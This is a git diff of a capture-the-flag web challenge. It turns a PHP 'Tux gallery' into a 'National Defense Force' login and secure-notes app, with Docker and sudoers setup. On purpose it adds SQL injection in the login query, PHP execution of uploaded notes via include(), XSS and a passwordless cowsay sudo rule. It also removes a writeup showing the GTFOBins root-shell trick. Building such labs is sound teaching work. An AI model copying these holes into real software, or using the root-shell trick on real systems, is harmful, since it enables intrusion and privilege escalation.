* changes
44
README.md
@ -15,55 +15,11 @@ cd docker
|
|||||||
sudo docker compose up --build
|
sudo docker compose up --build
|
||||||
```
|
```
|
||||||
|
|
||||||
### Building and running the docker image
|
|
||||||
|
|
||||||
_todo_
|
|
||||||
```
|
|
||||||
```
|
|
||||||
|
|
||||||
## Writeup
|
## Writeup
|
||||||
|
|
||||||
### Enum
|
### Enum
|
||||||
|
|
||||||
Scan the IP using nmap for open ports
|
|
||||||
|
|
||||||
```
|
|
||||||
nmap -p- ip
|
|
||||||
```
|
|
||||||
|
|
||||||
The port 22 and 31337 are open.
|
|
||||||
|
|
||||||
We find that there is a web service on port 31337.
|
|
||||||
|
|
||||||
### Foothold
|
|
||||||
|
|
||||||
...
|
|
||||||
|
|
||||||
### Privesc
|
|
||||||
|
|
||||||
We can see that the user is allowed tu run `/usr/games/cowsay` as root using sudo without password.
|
|
||||||
|
|
||||||
```
|
|
||||||
User l33t may run the following commands on srv1prod:
|
|
||||||
(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l
|
|
||||||
```
|
|
||||||
|
|
||||||
Using gtfo bins, we identified that we can spawn a root shell thanks to this misconfiguration.
|
|
||||||
|
|
||||||
[https://gtfobins.github.io/gtfobins/cowsay/](https://gtfobins.github.io/gtfobins/cowsay/)
|
|
||||||
|
|
||||||
```
|
|
||||||
TF=$(mktemp)
|
|
||||||
echo 'exec "/bin/sh";' >$TF
|
|
||||||
sudo cowsay -f $TF x
|
|
||||||
# id
|
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
|
||||||
# cat /root/root.txt
|
|
||||||
epita{th3-sup3r-c0ws4y}
|
|
||||||
```
|
|
||||||
|
|
||||||
Solved !
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -1,9 +1,17 @@
|
|||||||
|
CREATE DATABASE IF NOT EXISTS app;
|
||||||
|
USE app;
|
||||||
|
|
||||||
|
CREATE USER 'ctf'@'%' IDENTIFIED WITH mysql_native_password BY '39gknzLD';
|
||||||
|
GRANT ALL PRIVILEGES ON app.* TO 'ctf'@'%';
|
||||||
|
FLUSH PRIVILEGES;
|
||||||
|
|
||||||
CREATE TABLE users
|
CREATE TABLE users
|
||||||
(
|
(
|
||||||
user_id int PRIMARY KEY,
|
user_id INT PRIMARY KEY AUTO_INCREMENT,
|
||||||
username varchar(25) NOT NULL,
|
username VARCHAR(25) NOT NULL,
|
||||||
pass varchar(80) NOT NULL
|
pass VARCHAR(80) NOT NULL
|
||||||
);
|
);
|
||||||
|
|
||||||
-- cleartext pass ? but why of course
|
-- cleartext pass ? but why of course
|
||||||
INSERT INTO users (user_id,username,pass)
|
INSERT INTO users (user_id,username,pass)
|
||||||
VALUES (0,'admin','X82v7>P./~vC');
|
VALUES (0,'admin','X82v7>P./~vC');
|
||||||
1
config/codes.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
ODQxOTU=
|
||||||
@ -1 +1 @@
|
|||||||
l33t:h4x0r
|
agent:1c0b76fce779f78f51be339c49445c49
|
||||||
@ -14,21 +14,27 @@ RUN apt update && apt upgrade -y && \
|
|||||||
supervisor \
|
supervisor \
|
||||||
openssh-server \
|
openssh-server \
|
||||||
sudo \
|
sudo \
|
||||||
|
php-mysql\
|
||||||
cowsay \
|
cowsay \
|
||||||
php \
|
php \
|
||||||
|
iputils-ping \
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
# the user players will need to have access as
|
# the user players will need to have access as
|
||||||
|
|
||||||
|
|
||||||
RUN useradd -m -s /bin/bash l33t \
|
RUN useradd -m -s /bin/bash agent \
|
||||||
&& echo "l33t:h4x0r" | chpasswd
|
&& echo "agent:secure" | chpasswd
|
||||||
|
|
||||||
# apache2 config to change default 80 port to 31337
|
# apache2 config to change default 80 port to 8080
|
||||||
|
|
||||||
RUN sed -i 's/^Listen 80/Listen 31337/' /etc/apache2/ports.conf
|
RUN sed -i 's/^Listen 80/Listen 8080/' /etc/apache2/ports.conf
|
||||||
|
|
||||||
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:31337>/' /etc/apache2/sites-available/000-default.conf
|
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:8080>/' /etc/apache2/sites-available/000-default.conf
|
||||||
|
|
||||||
|
# remove default apache2 index.html
|
||||||
|
|
||||||
|
RUN rm /var/www/html/index.html
|
||||||
|
|
||||||
# enable php module
|
# enable php module
|
||||||
RUN ls /etc/apache2/mods-enabled/
|
RUN ls /etc/apache2/mods-enabled/
|
||||||
@ -38,33 +44,39 @@ RUN a2enmod php*
|
|||||||
|
|
||||||
COPY ./www/ /var/www/html/
|
COPY ./www/ /var/www/html/
|
||||||
|
|
||||||
|
# give upload permissions to the www-data user
|
||||||
|
|
||||||
|
RUN chown -R www-data:www-data /var/www/html/confidential/uploads && chmod -R 755 /var/www/html/confidential/uploads
|
||||||
|
|
||||||
|
# give permissions to access the agent user to www-data
|
||||||
|
|
||||||
|
RUN usermod -aG agent www-data && chmod 750 /home/agent
|
||||||
|
|
||||||
RUN mkdir /var/run/sshd
|
RUN mkdir /var/run/sshd
|
||||||
|
|
||||||
# (suggestion)
|
# (suggestion)
|
||||||
# for the privesc, cowsay allowed to be ran with sudo without password
|
# for the privesc, cowsay allowed to be ran with sudo without password
|
||||||
# https://gtfobins.github.io/gtfobins/cowsay/
|
# https://gtfobins.github.io/gtfobins/cowsay/
|
||||||
|
|
||||||
RUN printf 'l33t ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/l33t && \
|
RUN printf 'agent ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/agent && \
|
||||||
chmod 0440 /etc/sudoers.d/l33t && \
|
chmod 0440 /etc/sudoers.d/agent && \
|
||||||
visudo -cf /etc/sudoers.d/l33t
|
visudo -cf /etc/sudoers.d/agent
|
||||||
|
|
||||||
# copy the l33t user creds and set 777 suid
|
# copy the agent user creds and set 777 suid
|
||||||
|
|
||||||
COPY ./config/creds.txt /home/l33t/
|
COPY ./config/creds.txt /home/agent/
|
||||||
RUN chmod 777 /home/l33t/creds.txt
|
RUN chmod 777 /home/agent/creds.txt
|
||||||
|
|
||||||
# copy the flags and set suid
|
# copy the secret codes and set suid
|
||||||
|
|
||||||
COPY ./flags/user.txt /home/l33t/
|
COPY ./config/codes.txt /root/
|
||||||
RUN chown l33t:l33t /home/l33t/user.txt
|
|
||||||
|
|
||||||
COPY ./flags/root.txt /root/
|
RUN chown root:root /root/codes.txt
|
||||||
RUN chown root:root /root/root.txt
|
|
||||||
|
|
||||||
# 22 port -> ssh, 31337 port (suggestion) -> vulnerable webserver players need to find using nmap port scans
|
# 22 port -> ssh, 8080 port -> webserver
|
||||||
|
|
||||||
EXPOSE 22
|
EXPOSE 22
|
||||||
EXPOSE 31337
|
EXPOSE 8080
|
||||||
|
|
||||||
# config of supervisord to have both apache2 and sshd services running
|
# config of supervisord to have both apache2 and sshd services running
|
||||||
|
|
||||||
|
|||||||
@ -5,7 +5,7 @@ services:
|
|||||||
MYSQL_ROOT_PASSWORD: 39gknzLD
|
MYSQL_ROOT_PASSWORD: 39gknzLD
|
||||||
MYSQL_DATABASE: app
|
MYSQL_DATABASE: app
|
||||||
volumes:
|
volumes:
|
||||||
- $PWD/config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
|
- ../config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
|
||||||
ports:
|
ports:
|
||||||
- "3306:3306"
|
- "3306:3306"
|
||||||
app:
|
app:
|
||||||
|
|||||||
3
fiveserver.config.js
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
module.exports = {
|
||||||
|
php: "/usr/bin/php"
|
||||||
|
}
|
||||||
@ -1 +0,0 @@
|
|||||||
epita{th3-sup3r-c0ws4y}
|
|
||||||
@ -1 +0,0 @@
|
|||||||
epita{th3-tUx-g4ll3ry-1snT-4s-s3cUr3-4ft3r-4ll}
|
|
||||||
23
www/admin/loadnote.php
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
session_start();
|
||||||
|
$uploadsDir = __DIR__ . '/../confidential/uploads/';
|
||||||
|
|
||||||
|
if(empty($_SESSION['username'])) {
|
||||||
|
exit('Access denied.');
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!empty($_POST['file'])) {
|
||||||
|
$file = basename($_POST['file']); // prevent directory traversal
|
||||||
|
$path = $uploadsDir . $file;
|
||||||
|
|
||||||
|
if(file_exists($path)) {
|
||||||
|
ob_start();
|
||||||
|
include $path; // PHP executes here
|
||||||
|
echo ob_get_clean();
|
||||||
|
} else {
|
||||||
|
echo "File not found.";
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
echo "No file specified.";
|
||||||
|
}
|
||||||
|
?>
|
||||||
129
www/admin/securenotes.php
Normal file
@ -0,0 +1,129 @@
|
|||||||
|
<?php
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
if (empty($_SESSION['username'])) {
|
||||||
|
header('Location: /index.php');
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Directory for notes
|
||||||
|
$uploadsDir = __DIR__ . '/../confidential/uploads/';
|
||||||
|
?>
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>NFD | SECURE NOTES</title>
|
||||||
|
<link rel="stylesheet" href="/static/css/stylesheet.css">
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||||
|
<script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<?php include '../include/nav.php' ?>
|
||||||
|
<div class="wrapper">
|
||||||
|
|
||||||
|
<form id="uploadForm" method="POST" enctype="multipart/form-data">
|
||||||
|
<h1>Upload notes securely here from each operation.</h1>
|
||||||
|
<i>Notes must be in .txt</i>
|
||||||
|
<hr>
|
||||||
|
<label for="file">Note</label>
|
||||||
|
<input type="file" id="file" name="file">
|
||||||
|
<br><br>
|
||||||
|
<input type="submit" class="btn btn-primary" value="Upload!">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<!-- Status message -->
|
||||||
|
<div id="statusMessage" class="mt-2"></div>
|
||||||
|
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
<!-- Notes container -->
|
||||||
|
<div class="note-listing d-flex flex-wrap gap-3 justify-content-center" id="notesContainer">
|
||||||
|
<?php
|
||||||
|
// Render all notes
|
||||||
|
foreach (new DirectoryIterator($uploadsDir) as $file) {
|
||||||
|
if($file->isDot() || $file->isDir()) continue;
|
||||||
|
$fileName = $file->getFilename();
|
||||||
|
if (!preg_match('/\.(txt|php)$/i', $fileName)) continue;
|
||||||
|
?>
|
||||||
|
<div class="note-card text-center p-3" style="cursor:pointer;"
|
||||||
|
data-bs-toggle="modal"
|
||||||
|
data-bs-target="#noteModal"
|
||||||
|
data-filename="<?= htmlspecialchars($fileName) ?>">
|
||||||
|
<img src="/static/img/note-icon.png" alt="Note Icon" class="note-icon mb-2">
|
||||||
|
<div class="note-title"><?= htmlspecialchars($fileName) ?></div>
|
||||||
|
</div>
|
||||||
|
<?php } ?>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Modal -->
|
||||||
|
<div class="modal fade" id="noteModal" tabindex="-1" aria-hidden="true">
|
||||||
|
<div class="modal-dialog modal-dialog-centered modal-lg">
|
||||||
|
<div class="modal-content bg-dark text-white">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h5 class="modal-title" id="noteModalLabel"></h5>
|
||||||
|
<button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body" id="noteModalBody">Loading...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js"></script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// Execute PHP on modal open
|
||||||
|
$('#noteModal').on('show.bs.modal', function (event) {
|
||||||
|
let button = $(event.relatedTarget);
|
||||||
|
let fileName = button.data('filename');
|
||||||
|
let modal = $(this);
|
||||||
|
|
||||||
|
modal.find('.modal-title').text(fileName);
|
||||||
|
modal.find('#noteModalBody').text('Loading...');
|
||||||
|
|
||||||
|
$.post('/admin/loadnote.php', { file: fileName }, function(response){
|
||||||
|
modal.find('#noteModalBody').html(response);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// AJAX upload form
|
||||||
|
$('#uploadForm').submit(function(e) {
|
||||||
|
e.preventDefault();
|
||||||
|
let formData = new FormData(this);
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: '/admin/uploadnote.php',
|
||||||
|
type: 'POST',
|
||||||
|
data: formData,
|
||||||
|
contentType: false,
|
||||||
|
processData: false,
|
||||||
|
success: function(response) {
|
||||||
|
$('#statusMessage').html(response);
|
||||||
|
|
||||||
|
// Reload notes listing
|
||||||
|
$.ajax({
|
||||||
|
url: '/admin/securenotes.php',
|
||||||
|
type: 'GET',
|
||||||
|
dataType: 'html',
|
||||||
|
success: function(data) {
|
||||||
|
// Extract only the notes container HTML
|
||||||
|
let notesHtml = $(data).find('#notesContainer').html();
|
||||||
|
$('#notesContainer').html(notesHtml);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
},
|
||||||
|
error: function() {
|
||||||
|
$('#statusMessage').html("<div class='text-danger'>Upload failed.</div>");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
28
www/admin/uploadnote.php
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
<?php
|
||||||
|
session_start();
|
||||||
|
$destdir = __DIR__ . '/../confidential/uploads/';
|
||||||
|
$status = '';
|
||||||
|
|
||||||
|
if (empty($_SESSION['username'])) exit('Access denied.');
|
||||||
|
|
||||||
|
if (!empty($_FILES['file'])) {
|
||||||
|
$tmpName = $_FILES['file']['tmp_name'];
|
||||||
|
$fileName = basename($_FILES['file']['name']);
|
||||||
|
|
||||||
|
if (preg_match('/\.(txt)$/i', $fileName)) {
|
||||||
|
if (is_uploaded_file($tmpName)) {
|
||||||
|
if (move_uploaded_file($tmpName, $destdir . $fileName)) {
|
||||||
|
$status = "<div class='text-success'>File uploaded!</div>";
|
||||||
|
} else {
|
||||||
|
$status = "<div class='text-danger'>An error occurred.</div>";
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$status = "<div class='text-danger'>An error occurred.</div>";
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$status = "<div class='text-danger'>Invalid file type!</div>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
echo $status;
|
||||||
|
?>
|
||||||
1
www/confidential/uploads/OperationAlpha.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
foobar
|
||||||
1
www/confidential/uploads/OperationBravo.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
foobar
|
||||||
1
www/confidential/uploads/OperationTourniquet.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
foobar
|
||||||
49
www/gallery.php
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<?php
|
||||||
|
session_start();
|
||||||
|
?>
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Tux gallery !</title>
|
||||||
|
<link rel="stylesheet" href="static/css/stylesheet.css">
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<?php include 'include/nav.php'?>
|
||||||
|
|
||||||
|
<div class="wrapper">
|
||||||
|
<section class="info-part">
|
||||||
|
<h1>Tux gallery</h1>
|
||||||
|
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
|
||||||
|
<?php if (empty($_SESSION['username'])): ?>
|
||||||
|
You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.
|
||||||
|
<?php else: ?>
|
||||||
|
First navigate to the <a href="admin/upload.php">upload.php</a> page and upload your tux image from there!
|
||||||
|
<?php endif; ?>
|
||||||
|
</section>
|
||||||
|
<hr>
|
||||||
|
<section class="gallery-part">
|
||||||
|
<div class="gallery">
|
||||||
|
<?php
|
||||||
|
foreach (new DirectoryIterator('static/img/gallery') as $file) {
|
||||||
|
if($file->isDot()) continue;
|
||||||
|
print '<img class="tux-img" src="/static/img/gallery/'. $file->getFilename() . '" onerror="this.onerror=null;this.src=`/static/img/fallback.png`;" data-original="/static/img/gallery/'. $file->getFilename() .'">'; // to do, is there an 'fstring' like for php ? just like in python
|
||||||
|
} // xss ? i call it a feature
|
||||||
|
?>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||||
|
<script>
|
||||||
|
window.addEventListener("load", () => {
|
||||||
|
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
|
||||||
|
img.addEventListener('click', function() {
|
||||||
|
window.open(img.dataset.original);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@ -1,13 +1,18 @@
|
|||||||
<?php
|
<?php
|
||||||
|
$username = $_SESSION['username'] ?? null;
|
||||||
|
?>
|
||||||
|
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
|
||||||
|
<a class="navbar-brand" href="/index.php">
|
||||||
|
<img alt="logo" class="logo" src="/static/img/logo.gif" style="height:28px; margin-right:8px;">
|
||||||
|
National Defense Force
|
||||||
|
</a>
|
||||||
|
|
||||||
echo "<nav class='navbar navbar-expand-lg navbar-light bg-light'>
|
<div class="collapse navbar-collapse" id="navbarSupportedContent">
|
||||||
<a class='navbar-brand' href='index.php'><img alt='logo' class='logo' src='static/img/logo.jpg'>Tux Gallery </a>
|
<ul class="navbar-nav mr-auto">
|
||||||
|
<?php if ($username): ?>
|
||||||
<div class='collapse navbar-collapse' id='navbarSupportedContent'>
|
<li class="nav-item"><a class="nav-link" href="/admin/upload.php">Dashboard</a></li>
|
||||||
<ul class='navbar-nav mr-auto'>
|
<li class="nav-item"><a class="nav-link" href="/logout.php">Disconnect</a></li>
|
||||||
<li class='nav-item'>
|
<?php endif; ?>
|
||||||
<a class='nav-link' href='login.php'>Login</a>
|
</ul>
|
||||||
</li>
|
</div>
|
||||||
</div>
|
</nav>
|
||||||
</nav>";
|
|
||||||
?>
|
|
||||||
|
|||||||
@ -1,40 +1,63 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
|
<?php
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
session_start();
|
||||||
|
if (!empty($_SESSION['username'])) {
|
||||||
|
header('Location: /admin/securenotes.php');
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>Tux gallery !</title>
|
<title>NDF | LOGIN</title>
|
||||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
<link rel="stylesheet" href="/static/css/stylesheet.css">
|
||||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<?php include 'include/nav.php'?>
|
|
||||||
|
|
||||||
<div class="wrapper">
|
<div class="wrapper">
|
||||||
<section class="info-part">
|
<div class="header-bar"></div>
|
||||||
<h1>Tux gallery</h1>
|
<form id="loginForm" method="POST" action="index.php">
|
||||||
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
|
<h1>NDF ACCESS</h1>
|
||||||
<p>You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.</p>
|
<label for="username">Username</label>
|
||||||
</section>
|
<input type="text" id="username" name="username" required>
|
||||||
<section class="gallery-part">
|
|
||||||
<div class="gallery">
|
<label for="password">Password</label>
|
||||||
<?php
|
<input type="password" id="password" name="password" required>
|
||||||
foreach (new DirectoryIterator('static/img/gallery') as $file) {
|
|
||||||
if($file->isDot()) continue;
|
<input type="submit" value="Login">
|
||||||
print '<img class="tux-img" src="static/img/gallery/'. $file->getFilename() . '">'; // to do, is there an 'fstring' like for php ? just like in python
|
<?php
|
||||||
} // xss ? i call it a feature
|
if (!empty($_POST)) {
|
||||||
|
$name = $_POST['username'];
|
||||||
|
$password = $_POST['password'];
|
||||||
|
if (empty($name)) {
|
||||||
|
echo '<div class="error-message">Username is empty.</div>';
|
||||||
|
} else {
|
||||||
|
$servername = "db";
|
||||||
|
$username = "ctf";
|
||||||
|
$password_db = "39gknzLD";
|
||||||
|
$dbname = "app";
|
||||||
|
$conn = new mysqli($servername, $username, $password_db, $dbname);
|
||||||
|
$sql = "SELECT username, pass FROM users WHERE username='$name' AND pass='$password'";
|
||||||
|
$result = $conn->query($sql);
|
||||||
|
if ($result->num_rows > 0) {
|
||||||
|
session_regenerate_id(true);
|
||||||
|
$_SESSION['username'] = $name;
|
||||||
|
header('Location: /admin/securenotes.php');
|
||||||
|
exit();
|
||||||
|
} else {
|
||||||
|
echo '<div class="error-message">Wrong username or password!</div>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
?>
|
?>
|
||||||
</div>
|
</form>
|
||||||
</section>
|
|
||||||
</div>
|
</div>
|
||||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
|
||||||
<script>
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||||
window.addEventListener("load", (event) => {
|
|
||||||
console.log(document.getElementsByClassName("tux-img"))
|
|
||||||
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
|
|
||||||
img.addEventListener('click',function(){window.open(img.src)})
|
|
||||||
});
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@ -1,52 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<title>Tux gallery !</title>
|
|
||||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
|
||||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<?php include 'include/nav.php'?>
|
|
||||||
<div class="wrapper">
|
|
||||||
<form id="loginForm" method="POST" action="login.php">
|
|
||||||
<h1>Login</h1>
|
|
||||||
<p>Note : The register feature is not implemented yet !</p>
|
|
||||||
<label for="username">Username</label>
|
|
||||||
<input type="text" id="username" name="username">
|
|
||||||
<label for="password">Password</label>
|
|
||||||
<input type="password" id="password" name="password">
|
|
||||||
<input type="button" class="btn btn-primary" value="Login">
|
|
||||||
</form>
|
|
||||||
</div>
|
|
||||||
<?php
|
|
||||||
// to do :
|
|
||||||
// connect to mysql db
|
|
||||||
// add sqli vulnerable login functionnality
|
|
||||||
// ??
|
|
||||||
// profit
|
|
||||||
$servername = "db";
|
|
||||||
$username = "root";
|
|
||||||
$password = "39gknzLD";
|
|
||||||
|
|
||||||
$conn = new mysqli($servername, $username, $password);
|
|
||||||
|
|
||||||
if (! empty($_POST)) {
|
|
||||||
$name = $_POST['username'];
|
|
||||||
$password = $_POST['password'];
|
|
||||||
if (empty($name)) {
|
|
||||||
echo "Username is empty.";
|
|
||||||
} else {
|
|
||||||
$sql = 'SELECT username,pass FROM users WHERE username=' . $name . ' AND pass=' . $password; // sqli here
|
|
||||||
$result = $conn->query($sql);
|
|
||||||
if ($result->num_rows > 0) {
|
|
||||||
echo "CONNECTED" // do redirect to upload page
|
|
||||||
} else {
|
|
||||||
echo "Wrong username or password !";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
14
www/logout.php
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
session_start();
|
||||||
|
$_SESSION = [];
|
||||||
|
if (ini_get("session.use_cookies")) {
|
||||||
|
$params = session_get_cookie_params();
|
||||||
|
setcookie(session_name(), '', time() - 42000,
|
||||||
|
$params["path"], $params["domain"],
|
||||||
|
$params["secure"], $params["httponly"]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
session_destroy();
|
||||||
|
header('Location: index.php');
|
||||||
|
exit();
|
||||||
@ -4,42 +4,138 @@
|
|||||||
height:50px;
|
height:50px;
|
||||||
width:auto;
|
width:auto;
|
||||||
}
|
}
|
||||||
.wrapper {
|
|
||||||
display:block;
|
|
||||||
margin-left:15%;
|
|
||||||
margin-right:15%;
|
|
||||||
}
|
|
||||||
|
|
||||||
.info-part{
|
.info-part{
|
||||||
margin-left:15%;
|
margin-left:15%;
|
||||||
margin-right:15%;
|
margin-right:15%;
|
||||||
}
|
}
|
||||||
|
|
||||||
.gallery img{
|
|
||||||
max-width:250px;
|
|
||||||
max-height:250px;
|
|
||||||
}
|
|
||||||
.gallery{
|
|
||||||
padding:10px;
|
|
||||||
background-color:black;
|
|
||||||
display:grid;
|
|
||||||
grid-template-columns: auto auto auto auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
#loginForm{
|
#loginForm{
|
||||||
display:grid;
|
display:grid;
|
||||||
margin-right:30%;
|
margin-right:30%;
|
||||||
margin-left:30%;
|
margin-left:30%;
|
||||||
gap:5px;
|
gap:5px;
|
||||||
}
|
}
|
||||||
|
body {
|
||||||
|
margin: 0;
|
||||||
|
height: 100vh;
|
||||||
|
font-family: 'Arial', sans-serif;
|
||||||
|
color: #f1f1f1;
|
||||||
|
|
||||||
.tux-img{
|
overflow: hidden;
|
||||||
cursor:pointer;
|
|
||||||
transition: all 0.1s ease-in-out;
|
|
||||||
border:2px solid white;
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.tux-img:hover{
|
body::before {
|
||||||
border:2px solid rgb(255, 196, 0);
|
content: "";
|
||||||
}
|
position: absolute;
|
||||||
|
top: 0; left: 0;
|
||||||
|
width: 100%; height: 100%;
|
||||||
|
background: url('../../static/img/background.gif') center center / cover no-repeat;
|
||||||
|
z-index: -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
body::after {
|
||||||
|
content: "";
|
||||||
|
position: absolute;
|
||||||
|
top: 0; left: 0;
|
||||||
|
width: 100%; height: 100%;
|
||||||
|
background-color: rgba(0, 0, 0, 0.85);
|
||||||
|
z-index: -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.wrapper {
|
||||||
|
margin-left:auto;
|
||||||
|
margin-right:auto;
|
||||||
|
margin-top:10%;
|
||||||
|
margin-bottom:auto;
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
padding: 30px;
|
||||||
|
color:white;
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 0 20px rgba(0,0,0,0.8);
|
||||||
|
width: 800px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
text-align: center;
|
||||||
|
